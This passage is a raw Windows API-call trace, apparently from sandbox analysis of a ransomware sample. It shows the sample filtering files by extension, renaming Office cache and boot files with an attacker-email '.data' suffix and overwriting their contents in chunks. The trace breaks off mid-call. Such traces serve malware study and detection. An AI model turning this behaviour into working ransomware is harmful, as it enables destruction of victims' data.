lstrlenW (lpString=".1cd") returned 4 [0074.951] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.951] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.951] lstrlenW (lpString=".jpg") returned 4 [0074.951] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.951] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.951] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.952] lstrlenW (lpString=".doc") returned 4 [0074.952] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.952] lstrlenW (lpString=".docx") returned 5 [0074.952] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.952] lstrlenW (lpString=".pdf") returned 4 [0074.952] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.952] lstrlenW (lpString=".xls") returned 4 [0074.952] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.952] lstrlenW (lpString=".xlsx") returned 5 [0074.952] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.952] lstrlenW (lpString=".ppt") returned 4 [0074.952] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.953] lstrlenW (lpString=".zip") returned 4 [0074.953] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.953] lstrlenW (lpString=".rar") returned 4 [0074.953] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.953] lstrlenW (lpString=".bz2") returned 4 [0074.953] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.953] lstrlenW (lpString=".7z") returned 3 [0074.953] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.953] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.953] lstrlenW (lpString=".dbf") returned 4 [0074.953] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.954] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.954] lstrlenW (lpString=".1cd") returned 4 [0074.954] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.954] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0074.954] lstrlenW (lpString=".jpg") returned 4 [0074.954] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.954] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.955] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.955] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.955] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=75344) returned 1 [0074.955] CloseHandle (hObject=0x194) returned 1 [0074.955] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0074.955] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.955] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.956] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.956] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.956] lstrlenW (lpString=".doc") returned 4 [0074.956] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.956] lstrlenW (lpString=".docx") returned 5 [0074.956] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.956] lstrlenW (lpString=".pdf") returned 4 [0074.956] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.956] lstrlenW (lpString=".xls") returned 4 [0074.956] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.956] lstrlenW (lpString=".xlsx") returned 5 [0074.956] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.956] lstrlenW (lpString=".ppt") returned 4 [0074.957] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.957] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.957] lstrlenW (lpString=".zip") returned 4 [0074.957] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.957] lstrlenW (lpString=".rar") returned 4 [0074.957] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.957] lstrlenW (lpString=".bz2") returned 4 [0074.957] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.957] lstrlenW (lpString=".7z") returned 3 [0074.957] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.957] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.957] lstrlenW (lpString=".dbf") returned 4 [0074.957] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.957] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.957] lstrlenW (lpString=".1cd") returned 4 [0074.957] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.957] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.957] lstrlenW (lpString=".jpg") returned 4 [0074.957] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.957] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.958] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.958] lstrlenW (lpString=".doc") returned 4 [0074.958] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.958] lstrlenW (lpString=".docx") returned 5 [0074.958] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.958] lstrlenW (lpString=".pdf") returned 4 [0074.958] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.958] lstrlenW (lpString=".xls") returned 4 [0074.958] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.958] lstrlenW (lpString=".xlsx") returned 5 [0074.958] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.958] lstrlenW (lpString=".ppt") returned 4 [0074.958] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.958] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.958] lstrlenW (lpString=".zip") returned 4 [0074.958] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.959] lstrlenW (lpString=".rar") returned 4 [0074.959] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.959] lstrlenW (lpString=".bz2") returned 4 [0074.959] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.959] lstrlenW (lpString=".7z") returned 3 [0074.959] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.959] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.959] lstrlenW (lpString=".dbf") returned 4 [0074.959] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.959] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.959] lstrlenW (lpString=".1cd") returned 4 [0074.959] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.959] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0074.959] lstrlenW (lpString=".jpg") returned 4 [0074.959] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.960] lstrcmpiW (lpString1=".exe", lpString2=".data") returned 1 [0074.960] lstrlenW (lpString="memtest.exe") returned 11 [0074.960] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0075.201] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=485760) returned 1 [0075.201] CloseHandle (hObject=0x1b4) returned 1 [0075.201] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0075.201] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.201] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.201] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.201] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.201] lstrlenW (lpString=".doc") returned 4 [0075.201] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0075.201] lstrlenW (lpString=".docx") returned 5 [0075.201] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0075.201] lstrlenW (lpString=".pdf") returned 4 [0075.201] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0075.201] lstrlenW (lpString=".xls") returned 4 [0075.202] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0075.202] lstrlenW (lpString=".xlsx") returned 5 [0075.202] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0075.202] lstrlenW (lpString=".ppt") returned 4 [0075.202] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0075.202] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.202] lstrlenW (lpString=".zip") returned 4 [0075.202] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0075.202] lstrlenW (lpString=".rar") returned 4 [0075.202] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0075.202] lstrlenW (lpString=".bz2") returned 4 [0075.202] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0075.202] lstrlenW (lpString=".7z") returned 3 [0075.202] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0075.202] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.202] lstrlenW (lpString=".dbf") returned 4 [0075.202] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0075.202] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.202] lstrlenW (lpString=".1cd") returned 4 [0075.202] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0075.202] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.202] lstrlenW (lpString=".jpg") returned 4 [0075.202] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0075.202] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.202] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.202] lstrlenW (lpString=".doc") returned 4 [0075.203] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0075.203] lstrlenW (lpString=".docx") returned 5 [0075.203] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0075.203] lstrlenW (lpString=".pdf") returned 4 [0075.203] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0075.203] lstrlenW (lpString=".xls") returned 4 [0075.203] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0075.203] lstrlenW (lpString=".xlsx") returned 5 [0075.203] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0075.203] lstrlenW (lpString=".ppt") returned 4 [0075.203] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0075.203] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.203] lstrlenW (lpString=".zip") returned 4 [0075.203] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0075.203] lstrlenW (lpString=".rar") returned 4 [0075.203] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0075.203] lstrlenW (lpString=".bz2") returned 4 [0075.203] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0075.203] lstrlenW (lpString=".7z") returned 3 [0075.203] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0075.203] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.203] lstrlenW (lpString=".dbf") returned 4 [0075.203] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0075.203] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.203] lstrlenW (lpString=".1cd") returned 4 [0075.204] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0075.204] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0075.204] lstrlenW (lpString=".jpg") returned 4 [0075.204] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0075.204] Sleep (dwMilliseconds=0x64) [0075.531] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0075.531] lstrlenW (lpString="PptLR.cab") returned 9 [0075.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.570] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=70361744) returned 1 [0075.570] CloseHandle (hObject=0x1e0) returned 1 [0075.571] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0075.571] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.571] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0075.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.572] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0075.572] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.572] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.732] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.732] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0075.778] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0075.778] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0075.778] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.347] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.347] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0076.995] SetEndOfFile (hFile=0x1e0) returned 1 [0076.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f9a0a0 [0077.075] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.076] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.077] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.077] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.078] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0077.078] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 [0077.081] CloseHandle (hObject=0x1e0) returned 1 [0083.579] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.580] lstrlenW (lpString=".doc") returned 4 [0083.580] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0083.580] lstrlenW (lpString=".docx") returned 5 [0083.580] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0083.580] lstrlenW (lpString=".pdf") returned 4 [0083.581] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0083.581] lstrlenW (lpString=".xls") returned 4 [0083.581] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0083.581] lstrlenW (lpString=".xlsx") returned 5 [0083.581] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0083.581] lstrlenW (lpString=".ppt") returned 4 [0083.581] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0083.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.581] lstrlenW (lpString=".zip") returned 4 [0083.581] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0083.581] lstrlenW (lpString=".rar") returned 4 [0083.581] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0083.582] lstrlenW (lpString=".bz2") returned 4 [0083.582] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0083.582] lstrlenW (lpString=".7z") returned 3 [0083.582] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0083.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.582] lstrlenW (lpString=".dbf") returned 4 [0083.582] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0083.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.582] lstrlenW (lpString=".1cd") returned 4 [0083.582] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0083.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.583] lstrlenW (lpString=".jpg") returned 4 [0083.583] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0083.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.583] lstrlenW (lpString=".doc") returned 4 [0083.583] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0083.583] lstrlenW (lpString=".docx") returned 5 [0083.583] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0083.583] lstrlenW (lpString=".pdf") returned 4 [0083.583] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0083.584] lstrlenW (lpString=".xls") returned 4 [0083.584] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0083.584] lstrlenW (lpString=".xlsx") returned 5 [0083.584] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0083.584] lstrlenW (lpString=".ppt") returned 4 [0083.584] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0083.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.584] lstrlenW (lpString=".zip") returned 4 [0083.584] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0083.584] lstrlenW (lpString=".rar") returned 4 [0083.584] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0083.584] lstrlenW (lpString=".bz2") returned 4 [0083.585] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0083.585] lstrlenW (lpString=".7z") returned 3 [0083.585] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0083.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.585] lstrlenW (lpString=".dbf") returned 4 [0083.585] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0083.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.585] lstrlenW (lpString=".1cd") returned 4 [0083.585] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0083.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0083.585] lstrlenW (lpString=".jpg") returned 4 [0083.585] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0083.586] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0083.586] lstrlenW (lpString="WordMUI.msi") returned 11 [0083.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.587] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=2522624) returned 1 [0083.587] CloseHandle (hObject=0x1e0) returned 1 [0083.587] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0083.587] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0083.587] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0083.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0083.589] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0083.589] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0083.589] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0083.801] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: 